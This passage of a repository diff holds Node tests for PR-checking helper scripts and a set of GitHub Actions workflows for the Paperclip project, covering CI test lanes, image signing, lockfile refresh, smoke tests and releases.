assert.equal(checkTestCoverage([], 'fix: bug').passed, false);
});
test('ignores removed test files', () => {
const files = [
{ filename: 'src/foo.test.ts', status: 'removed' },
{ filename: 'src/foo.ts', status: 'modified' },
];
assert.equal(checkTestCoverage(files, 'fix: bug').passed, false);
});
// New tests for prefix-aware skip behavior
test('skips test requirement for docs: prefix (markdown only)', () => {
assert.equal(checkTestCoverage(makeFiles(['README.md', 'docs/setup.md']), 'docs: update guide').passed, true);
});
test('skips test requirement for chore: prefix (config only)', () => {
assert.equal(checkTestCoverage(makeFiles(['.gitignore', '.github/labels.yml']), 'chore: cleanup').passed, true);
});
test('skips test requirement for refactor: prefix', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.ts']), 'refactor: rename function').passed, true);
});
test('skips test requirement for style: prefix', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.ts']), 'style: format').passed, true);
});
// New tests for mismatch detection
test('flags docs: PR with source code changes', () => {
const result = checkTestCoverage(makeFiles(['src/api.ts', 'README.md']), 'docs: update docs');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('docs:'));
assert.ok(result.failures[0].includes('source code'));
});
test('flags chore: PR with source code changes', () => {
const result = checkTestCoverage(makeFiles(['src/server.ts']), 'chore: cleanup');
assert.equal(result.passed, false);
assert.ok(result.failures[0].includes('chore:'));
});
test('does NOT flag chore: PR with only config files', () => {
const result = checkTestCoverage(makeFiles(['package.json', '.eslintrc.js']), 'chore: bump');
// .eslintrc.js is a .js file but it's config — current rule will flag it. This documents that.
// For now we err on the side of flagging — contributor can retitle if needed.
assert.equal(result.passed, false);
});
test('does NOT flag refactor: PR with source code (refactor expects source changes)', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts']), 'refactor: rename');
assert.equal(result.passed, true);
});
test('requires test when no prefix used', () => {
const result = checkTestCoverage(makeFiles(['src/foo.ts']), 'Some PR with no prefix');
assert.equal(result.passed, false);
});
test('handles scoped prefix like fix(server):', () => {
assert.equal(checkTestCoverage(makeFiles(['src/foo.test.ts', 'src/foo.ts']), 'fix(server): bug').passed, true);
});
@@ -0,0 +1,37 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { fetchAllPullRequestFiles } from '../fetch-pr-files.mjs';
test('fetchAllPullRequestFiles: returns a single short page', async () => {
const seenPaths = [];
const files = await fetchAllPullRequestFiles(async (path) => {
seenPaths.push(path);
return [{ filename: 'src/only.ts' }];
}, 'paperclipai/paperclip', 6469, 'token');
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/pulls/6469/files?per_page=100&page=1',
]);
assert.equal(files.length, 1);
});
test('fetchAllPullRequestFiles: keeps fetching when a page is full', async () => {
const seenPaths = [];
const files = await fetchAllPullRequestFiles(async (path) => {
seenPaths.push(path);
const page = Number(new URL(`https://github.com${path}`).searchParams.get('page'));
if (page === 1) {
return Array.from({ length: 100 }, (_, index) => ({
filename: `src/file-${index + 1}.ts`,
}));
}
return [{ filename: 'src/file-101.ts' }];
}, 'paperclipai/paperclip', 6469, 'token');
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/pulls/6469/files?per_page=100&page=1',
'/repos/paperclipai/paperclip/pulls/6469/files?per_page=100&page=2',
]);
assert.equal(files.length, 101);
assert.equal(files.at(-1)?.filename, 'src/file-101.ts');
});
@@ -0,0 +1,33 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { resolveInstallationId } from '../get-bot-token.mjs';
test('resolveInstallationId: uses the repo installation endpoint when repo context is available', async () => {
const seenPaths = [];
const installationId = await resolveInstallationId(async (path) => {
seenPaths.push(path);
return { id: 42 };
}, 'jwt', 'paperclipai/paperclip', 'paperclipai');
assert.equal(installationId, 42);
assert.deepEqual(seenPaths, ['/repos/paperclipai/paperclip/installation']);
});
test('resolveInstallationId: falls back to the matching owner installation', async () => {
const installationId = await resolveInstallationId(async () => ([
{ id: 1, account: { login: 'someone-else' } },
{ id: 7, account: { login: 'PaperclipAI' } },
]), 'jwt', undefined, 'paperclipai');
assert.equal(installationId, 7);
});
test('resolveInstallationId: rejects ambiguous installations without repo or owner context', async () => {
await assert.rejects(
resolveInstallationId(async () => ([
{ id: 1, account: { login: 'org-one' } },
{ id: 2, account: { login: 'org-two' } },
]), 'jwt'),
/Multiple commitperclip installations found/
);
});
@@ -0,0 +1,43 @@
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { findExistingComment } from '../run-quality-gates.mjs';
test('findExistingComment: paginates until it finds the commitperclip comment', async () => {
const seenPaths = [];
const comment = await findExistingComment(async (path) => {
seenPaths.push(path);
if (path.endsWith('page=1')) {
return Array.from({ length: 100 }, (_, index) => ({
id: index + 1,
user: { login: 'someone-else' },
body: 'unrelated',
}));
}
if (path.endsWith('page=2')) {
return [{
id: 200,
user: { login: 'commitperclip[bot]' },
body: 'Looks good.\n\n— commitperclip',
}];
}
return [];
}, 'token', 'paperclipai/paperclip', 6469);
assert.equal(comment.id, 200);
assert.deepEqual(seenPaths, [
'/repos/paperclipai/paperclip/issues/6469/comments?per_page=100&page=1',
'/repos/paperclipai/paperclip/issues/6469/comments?per_page=100&page=2',
]);
});
test('findExistingComment: returns null when no signed comment exists', async () => {
const comment = await findExistingComment(async () => ([
{
id: 1,
user: { login: 'commitperclip[bot]' },
body: 'Unsigned status update',
},
]), 'token', 'paperclipai/paperclip', 6469);
assert.equal(comment, null);
});
@@ -0,0 +1,98 @@
name: Agent runtime images
on:
push:
branches: [master]
paths:
- "docker/agent-runtime/**"
- "tools/agent-shim/**"
- ".github/workflows/agent-runtime-images.yml"
workflow_dispatch:
inputs:
version:
description: "Image version tag (e.g., v1.0.0 or dev-test)"
required: true
default: "dev"
permissions:
contents: read
packages: write
id-token: write # cosign keyless OIDC
env:
REGISTRY: ghcr.io/paperclipai
VERSION: ${{ github.event.inputs.version || format('git-{0}', github.sha) }}
jobs:
build-and-sign:
runs-on: ubuntu-22.04
steps:
- uses: actions/checkout@v7
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Log into GHCR
uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Install cosign
uses: sigstore/cosign-installer@v3
- name: Build + push all deployed harness images (linux/amd64)
id: bake
run: |
# Scope: the five harnesses the kubernetes sandbox provider supports
# out of the box (opencode, pi, codex, gemini, claude). acpx/hermes
# have Dockerfiles in the bake group but are not published by default.
# Platforms come from the bake HCL (linux/amd64).
# Use --push rather than a "*.push" --set so the wildcard does not hit
# the bake group (which has no such key -> "unknown key" error).
docker buildx bake \
-f docker/agent-runtime/buildx-bake.hcl \
base opencode pi codex gemini claude \
--push \
--metadata-file=bake-metadata.json
# Extract digests for cosign signing
BASE_DIGEST=$(jq -r '."base"."containerimage.digest"' bake-metadata.json)
OPENCODE_DIGEST=$(jq -r '."opencode"."containerimage.digest"' bake-metadata.json)
PI_DIGEST=$(jq -r '."pi"."containerimage.digest"' bake-metadata.json)
CODEX_DIGEST=$(jq -r '."codex"."containerimage.digest"' bake-metadata.json)
GEMINI_DIGEST=$(jq -r '."gemini"."containerimage.digest"' bake-metadata.json)
CLAUDE_DIGEST=$(jq -r '."claude"."containerimage.digest"' bake-metadata.json)
echo "base_digest=$BASE_DIGEST" >> "$GITHUB_OUTPUT"
echo "opencode_digest=$OPENCODE_DIGEST" >> "$GITHUB_OUTPUT"
echo "pi_digest=$PI_DIGEST" >> "$GITHUB_OUTPUT"
echo "codex_digest=$CODEX_DIGEST" >> "$GITHUB_OUTPUT"
echo "gemini_digest=$GEMINI_DIGEST" >> "$GITHUB_OUTPUT"
echo "claude_digest=$CLAUDE_DIGEST" >> "$GITHUB_OUTPUT"
env:
VERSION: ${{ env.VERSION }}
REGISTRY: ${{ env.REGISTRY }}
- name: Cosign sign base
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-base@${{ steps.bake.outputs.base_digest }}"
- name: Cosign sign opencode
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-opencode@${{ steps.bake.outputs.opencode_digest }}"
- name: Cosign sign pi
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-pi@${{ steps.bake.outputs.pi_digest }}"
- name: Cosign sign codex
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-codex@${{ steps.bake.outputs.codex_digest }}"
- name: Cosign sign gemini
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-gemini@${{ steps.bake.outputs.gemini_digest }}"
- name: Cosign sign claude
run: |
cosign sign --yes "${{ env.REGISTRY }}/agent-runtime-claude@${{ steps.bake.outputs.claude_digest }}"
@@ -0,0 +1,74 @@
name: commitperclip PR Review
on:
pull_request_target:
types: [opened, synchronize, reopened]
# Always runs from base branch context — never executes PR code.
# pull_request_target gives access to secrets for untrusted fork PRs.
permissions:
pull-requests: write
security-events: write
checks: write
contents: read
jobs:
review:
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- name: Checkout base branch (never PR code)
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
with:
ref: master
- name: Dependency Review
uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0
with:
base-ref: ${{ github.event.pull_request.base.sha }}
head-ref: ${{ github.event.pull_request.head.sha }}
- name: Set up Node
uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
with:
node-version: '20'
- name: Generate commitperclip token
id: token
run: |
TOKEN=$(node .github/scripts/get-bot-token.mjs)
echo "::add-mask::$TOKEN"
echo "value=$TOKEN" >> $GITHUB_OUTPUT
env:
COMMITPERCLIP_KEY: ${{ secrets.COMMITPERCLIP_KEY }}
- name: Run quality gates
id: quality
if: github.event.pull_request.user.login != 'dependabot[bot]'
run: node .github/scripts/run-quality-gates.mjs
continue-on-error: true
env:
GH_TOKEN: ${{ steps.token.outputs.value }}
GH_REPO: ${{ github.repository }}
PR_NUMBER: ${{ github.event.pull_request.number }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
PR_BRANCH: ${{ github.event.pull_request.head.ref }}
- name: Run security gates
run: node .github/scripts/check-pr-security.mjs
continue-on-error: true
timeout-minutes: 3
env:
GH_TOKEN: ${{ steps.token.outputs.value }}
GH_REPO: ${{ github.repository }}
PR_NUMBER: ${{ github.event.pull_request.number }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
- name: Fail if quality gates failed
if: >-
github.event.pull_request.user.login != 'dependabot[bot]' &&
steps.quality.outcome == 'failure'
run: |
echo "One or more quality gates failed. See commitperclip comment on the PR for details."
exit 1
+55
View File
@@ -0,0 +1,55 @@
name: Docker
on:
push:
branches:
- "master"
tags:
- "v*"
permissions:
contents: read
packages: write
jobs:
build-and-push:
runs-on: ubuntu-latest
timeout-minutes: 60
concurrency:
group: docker-${{ github.ref }}
cancel-in-progress: true
steps:
- name: Checkout
uses: actions/checkout@v7
- name: Login to GitHub Container Registry
uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
- name: Docker meta
id: meta
uses: docker/metadata-action@v6
with:
images: ghcr.io/${{ github.repository }}
tags: |
type=raw,value=latest,enable={{is_default_branch}}
type=semver,pattern={{version}}
type=semver,pattern={{major}}.{{minor}}
type=sha
- name: Build and push
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
push: true
cache-from: type=gha
cache-to: type=gha,mode=max
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
+46
View File
@@ -0,0 +1,46 @@
name: E2E Tests
on:
workflow_dispatch:
inputs:
skip_llm:
description: "Skip LLM-dependent assertions (default: true)"
type: boolean
default: true
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
env:
PAPERCLIP_E2E_SKIP_LLM: ${{ inputs.skip_llm && 'true' || 'false' }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
steps:
- uses: actions/checkout@v7
- uses: pnpm/action-setup@v6
with:
version: 9
- uses: actions/setup-node@v6
with:
node-version: 20
cache: pnpm
- run: pnpm install --frozen-lockfile
- run: pnpm build
- run: google-chrome --version
- name: Run e2e tests
env:
PAPERCLIP_PLAYWRIGHT_CHANNEL: "chrome"
run: pnpm run test:e2e
- uses: actions/upload-artifact@v7
if: always()
with:
name: playwright-report
path: |
tests/e2e/playwright-report/
tests/e2e/test-results/
retention-days: 14
+421
View File
@@ -0,0 +1,421 @@
name: PR
on:
pull_request:
branches:
- master
concurrency:
group: pr-${{ github.event.pull_request.number }}
cancel-in-progress: true
jobs:
policy:
runs-on: ubuntu-latest
timeout-minutes: 5
outputs:
lockfile_regenerated: ${{ steps.regen_lockfile.outputs.regenerated }}
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Block manual lockfile edits
if: >-
github.head_ref != 'chore/refresh-lockfile' &&
github.event.pull_request.user.login != 'dependabot[bot]'
run: |
# Diff the PR branch against its merge base so recent base-branch commits
# do not masquerade as changes made by the PR itself.
changed="$(git diff --name-only "${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}")"
if printf '%s\n' "$changed" | grep -qx 'pnpm-lock.yaml'; then
echo "Do not commit pnpm-lock.yaml in pull requests. CI owns lockfile updates."
exit 1
fi
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
- name: Validate Dockerfile deps stage
run: node ./scripts/check-docker-deps-stage.mjs
- name: Reject git push in adapter/runtime code
run: node ./scripts/check-no-git-push.mjs
- name: Test no-git-push check
run: node --test ./scripts/check-no-git-push.test.mjs
- name: Test general-server shard partition
run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs
- name: Test standalone package build concurrency
run: node --test ./scripts/__tests__/build-standalone-concurrency.test.mjs
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Verify release package bootstrap for changed manifests
run: |
mapfile -t changed_paths < <(git diff --name-only "${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}")
PAPERCLIP_RELEASE_BOOTSTRAP_BASE_SHA="${{ github.event.pull_request.base.sha }}" \
node ./scripts/check-release-package-bootstrap.mjs "${changed_paths[@]}"
- name: Validate dependency resolution when manifests change
id: regen_lockfile
run: |
changed="$(git diff --name-only "${{ github.event.pull_request.base.sha }}...${{ github.event.pull_request.head.sha }}")"
manifest_pattern='(^|/)package\.json$|^pnpm-workspace\.yaml$|^\.npmrc$|^pnpmfile\.(cjs|js|mjs)$'
if printf '%s\n' "$changed" | grep -Eq "$manifest_pattern"; then
pnpm install --lockfile-only --ignore-scripts --no-frozen-lockfile
echo "regenerated=1" >> "$GITHUB_OUTPUT"
else
echo "regenerated=0" >> "$GITHUB_OUTPUT"
fi
# Manifest-only PRs (where pnpm-lock.yaml stays at base because the policy
# job above blocks committing it) need the regenerated lockfile for the
# downstream `pnpm install --frozen-lockfile` steps. Upload it here so
# every job consumes the same hash without recomputing.
- name: Upload regenerated lockfile for downstream jobs
if: steps.regen_lockfile.outputs.regenerated == '1'
uses: actions/upload-artifact@v7
with:
name: pr-lockfile
path: pnpm-lock.yaml
retention-days: 1
if-no-files-found: error
typecheck_release_registry:
name: Typecheck + Release Registry
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Typecheck workspaces whose build scripts skip TypeScript
run: pnpm run typecheck:build-gaps
- name: Verify release registry test coverage
run: pnpm run test:release-registry
general_tests:
name: General tests (${{ matrix.group_label }})
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
strategy:
fail-fast: false
matrix:
include:
# The server suite is pinned to maxWorkers=1 (server/vitest.config.ts),
# so it can only be parallelized across runners. Shard it to keep this
# lane off the PR critical path.
- group: general-server
group_label: server (1/3)
shard_index: 0
shard_count: 3
- group: general-server
group_label: server (2/3)
shard_index: 1
shard_count: 3
- group: general-server
group_label: server (3/3)
shard_index: 2
shard_count: 3
- group: general-workspaces-a
group_label: workspaces-a
- group: general-workspaces-b
group_label: workspaces-b
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Run grouped general test suites
run: |
if [ -n "${{ matrix.shard_count }}" ]; then
pnpm test:run:general -- --group '${{ matrix.group }}' \
--shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }}
else
pnpm test:run:general -- --group '${{ matrix.group }}'
fi
verify:
# Preserve the legacy required-check name while the underlying work runs in parallel.
name: verify
if: ${{ always() }}
needs: [typecheck_release_registry, general_tests, build]
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- name: Fail if any split verify lane failed
env:
TYPECHECK_RELEASE_REGISTRY_RESULT: ${{ needs.typecheck_release_registry.result }}
GENERAL_TESTS_RESULT: ${{ needs.general_tests.result }}
BUILD_RESULT: ${{ needs.build.result }}
run: |
test "$TYPECHECK_RELEASE_REGISTRY_RESULT" = "success"
test "$GENERAL_TESTS_RESULT" = "success"
test "$BUILD_RESULT" = "success"
build:
name: Build
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Build
run: pnpm build
verify_serialized_server:
name: Verify serialized server suites (${{ matrix.shard_label }})
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
strategy:
fail-fast: false
matrix:
include:
- shard_index: 0
shard_count: 4
shard_label: 1/4
- shard_index: 1
shard_count: 4
shard_label: 2/4
- shard_index: 2
shard_count: 4
shard_label: 3/4
- shard_index: 3
shard_count: 4
shard_label: 4/4
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Run serialized server test shard
run: pnpm test:run:serialized -- --shard-index ${{ matrix.shard_index }} --shard-count ${{ matrix.shard_count }}
canary_dry_run:
name: Canary Dry Run
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
# `release.sh` always executes its Step 2/7 workspace build, even when
# `--skip-verify` bypasses the initial verification gate. release.sh
# also requires a clean working tree, so any in-place lockfile churn
# from `pnpm install --frozen-lockfile` must be reverted first — unless
# the policy job uploaded a regenerated lockfile (manifest-changing
# PRs), in which case we stage the artifact-restored copy into an
# ephemeral local commit so release.sh sees a clean tree and its
# workspace build sees a lockfile that matches the manifest.
- name: Release canary dry run via release.sh internal build
env:
USED_ARTIFACT_LOCKFILE: ${{ needs.policy.outputs.lockfile_regenerated || '0' }}
run: |
git checkout -B master HEAD
if [ "$USED_ARTIFACT_LOCKFILE" = "1" ]; then
git add pnpm-lock.yaml
if ! git diff --cached --quiet; then
git -c user.email=ci@paperclip.local -c user.name=CI \
commit --no-verify -m "ci(canary): stage regenerated lockfile"
fi
else
git checkout -- pnpm-lock.yaml
fi
./scripts/release.sh canary --skip-verify --dry-run
e2e:
needs: [policy]
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Restore regenerated PR lockfile (if policy uploaded one)
uses: actions/download-artifact@v8
continue-on-error: true
with:
name: pr-lockfile
path: .
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Verify runner Chrome
# GitHub's Ubuntu runner image already ships Google Chrome, so use that
# directly for the headless e2e lane instead of downloading Playwright
# browser bundles inside the 30 minute job budget.
run: google-chrome --version
- name: Generate Paperclip config
run: |
mkdir -p ~/.paperclip/instances/default
cat > ~/.paperclip/instances/default/config.json << 'CONF'
{
"$meta": { "version": 1, "updatedAt": "2026-01-01T00:00:00.000Z", "source": "onboard" },
"database": { "mode": "embedded-postgres" },
"logging": { "mode": "file" },
"server": { "deploymentMode": "local_trusted", "host": "127.0.0.1", "port": 3100 },
"auth": { "baseUrlMode": "auto" },
"storage": { "provider": "local_disk" },
"secrets": { "provider": "local_encrypted", "strictMode": false }
}
CONF
- name: Run e2e tests
env:
PAPERCLIP_E2E_SKIP_LLM: "true"
PAPERCLIP_PLAYWRIGHT_CHANNEL: "chrome"
run: pnpm run test:e2e
- name: Upload Playwright report
uses: actions/upload-artifact@v7
if: always()
with:
name: playwright-report
path: |
tests/e2e/playwright-report/
tests/e2e/test-results/
retention-days: 14
+96
View File
@@ -0,0 +1,96 @@
name: Refresh Lockfile
on:
push:
branches:
- master
workflow_dispatch:
concurrency:
group: refresh-lockfile-master
cancel-in-progress: false
jobs:
refresh:
runs-on: ubuntu-latest
timeout-minutes: 10
permissions:
contents: write
pull-requests: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
run_install: false
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 20
cache: pnpm
- name: Refresh pnpm lockfile
run: pnpm install --lockfile-only --ignore-scripts --no-frozen-lockfile
- name: Fail on unexpected file changes
run: |
changed="$(git status --porcelain)"
if [ -z "$changed" ]; then
echo "Lockfile is already up to date."
exit 0
fi
if printf '%s\n' "$changed" | grep -Fvq ' pnpm-lock.yaml'; then
echo "Unexpected files changed during lockfile refresh:"
echo "$changed"
exit 1
fi
- name: Create or update pull request
id: upsert-pr
env:
GH_TOKEN: ${{ github.token }}
REPO_OWNER: ${{ github.repository_owner }}
run: |
if git diff --quiet -- pnpm-lock.yaml; then
echo "Lockfile unchanged, nothing to do."
echo "pr_url=" >> "$GITHUB_OUTPUT"
exit 0
fi
BRANCH="chore/refresh-lockfile"
git config user.name "lockfile-bot"
git config user.email "lockfile-bot@users.noreply.github.com"
git checkout -B "$BRANCH"
git add pnpm-lock.yaml
git commit -m "chore(lockfile): refresh pnpm-lock.yaml"
git push --force origin "$BRANCH"
# Only reuse an open PR from this repository owner, not a fork with the same branch name.
pr_url="$(
gh pr list --state open --head "$BRANCH" --json url,headRepositoryOwner \
--jq ".[] | select(.headRepositoryOwner.login == \"$REPO_OWNER\") | .url" |
head -n 1
)"
if [ -z "$pr_url" ]; then
pr_url="$(gh pr create \
--head "$BRANCH" \
--title "chore(lockfile): refresh pnpm-lock.yaml" \
--body "Auto-generated lockfile refresh after dependencies changed on master. This PR only updates pnpm-lock.yaml.")"
echo "Created new PR: $pr_url"
else
echo "PR already exists: $pr_url"
fi
echo "pr_url=$pr_url" >> "$GITHUB_OUTPUT"
- name: Enable auto-merge for lockfile PR
if: steps.upsert-pr.outputs.pr_url != ''
env:
GH_TOKEN: ${{ github.token }}
run: |
gh pr merge --auto --squash --delete-branch "${{ steps.upsert-pr.outputs.pr_url }}"
+121
View File
@@ -0,0 +1,121 @@
name: Release Smoke
on:
workflow_dispatch:
inputs:
paperclip_version:
description: Published Paperclip dist-tag to test
required: true
default: canary
type: choice
options:
- canary
- latest
host_port:
description: Host port for the Docker smoke container
required: false
default: "3232"
type: string
artifact_name:
description: Artifact name for uploaded diagnostics
required: false
default: release-smoke
type: string
workflow_call:
inputs:
paperclip_version:
required: true
type: string
host_port:
required: false
default: "3232"
type: string
artifact_name:
required: false
default: release-smoke
type: string
jobs:
smoke:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Verify runner Chrome
# Release smoke also runs headless on GitHub's Ubuntu image, so use the
# runner's preinstalled Chrome instead of a Playwright browser download.
run: google-chrome --version
- name: Launch Docker smoke harness
run: |
metadata_file="$RUNNER_TEMP/release-smoke.env"
HOST_PORT="${{ inputs.host_port }}" \
DATA_DIR="$RUNNER_TEMP/release-smoke-data" \
PAPERCLIPAI_VERSION="${{ inputs.paperclip_version }}" \
SMOKE_DETACH=true \
SMOKE_METADATA_FILE="$metadata_file" \
./scripts/docker-onboard-smoke.sh
set -a
source "$metadata_file"
set +a
{
echo "SMOKE_BASE_URL=$SMOKE_BASE_URL"
echo "SMOKE_ADMIN_EMAIL=$SMOKE_ADMIN_EMAIL"
echo "SMOKE_ADMIN_PASSWORD=$SMOKE_ADMIN_PASSWORD"
echo "SMOKE_CONTAINER_NAME=$SMOKE_CONTAINER_NAME"
echo "SMOKE_DATA_DIR=$SMOKE_DATA_DIR"
echo "SMOKE_IMAGE_NAME=$SMOKE_IMAGE_NAME"
echo "SMOKE_PAPERCLIPAI_VERSION=$SMOKE_PAPERCLIPAI_VERSION"
echo "SMOKE_METADATA_FILE=$metadata_file"
} >> "$GITHUB_ENV"
- name: Run release smoke Playwright suite
env:
PAPERCLIP_RELEASE_SMOKE_BASE_URL: ${{ env.SMOKE_BASE_URL }}
PAPERCLIP_RELEASE_SMOKE_EMAIL: ${{ env.SMOKE_ADMIN_EMAIL }}
PAPERCLIP_RELEASE_SMOKE_PASSWORD: ${{ env.SMOKE_ADMIN_PASSWORD }}
PAPERCLIP_PLAYWRIGHT_CHANNEL: "chrome"
run: pnpm run test:release-smoke
- name: Capture Docker logs
if: always()
run: |
if [[ -n "${SMOKE_CONTAINER_NAME:-}" ]]; then
docker logs "$SMOKE_CONTAINER_NAME" >"$RUNNER_TEMP/docker-onboard-smoke.log" 2>&1 || true
fi
- name: Upload diagnostics
if: always()
uses: actions/upload-artifact@v7
with:
name: ${{ inputs.artifact_name }}
path: |
${{ runner.temp }}/docker-onboard-smoke.log
${{ env.SMOKE_METADATA_FILE }}
tests/release-smoke/playwright-report/
tests/release-smoke/test-results/
retention-days: 14
- name: Stop Docker smoke container
if: always()
run: |
if [[ -n "${SMOKE_CONTAINER_NAME:-}" ]]; then
docker rm -f "$SMOKE_CONTAINER_NAME" >/dev/null 2>&1 || true
fi
+273
View File
@@ -0,0 +1,273 @@
name: Release
on:
push:
branches:
- master
workflow_dispatch:
inputs:
source_ref:
description: Commit SHA, branch, or tag to publish as stable
required: true
type: string
default: master
stable_date:
description: Enter a UTC date in YYYY-MM-DD format, for example 2026-03-18. Do not enter a version string. The workflow will resolve that date to a stable version such as 2026.318.0, then 2026.318.1 for the next same-day stable.
required: false
type: string
dry_run:
description: Preview the stable release without publishing
required: true
type: boolean
default: false
concurrency:
group: release-${{ github.event_name }}-${{ github.ref }}
cancel-in-progress: false
jobs:
verify_canary:
if: github.event_name == 'push'
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Typecheck
run: pnpm -r typecheck
- name: Run tests
run: pnpm test:run
- name: Build
run: pnpm build
publish_canary:
if: github.event_name == 'push'
needs: verify_canary
runs-on: ubuntu-latest
timeout-minutes: 45
environment: npm-canary
permissions:
contents: write
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Restore tracked install-time changes
run: git checkout -- pnpm-lock.yaml
- name: Configure git author
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: Publish canary
env:
GITHUB_ACTIONS: "true"
run: ./scripts/release.sh canary --skip-verify
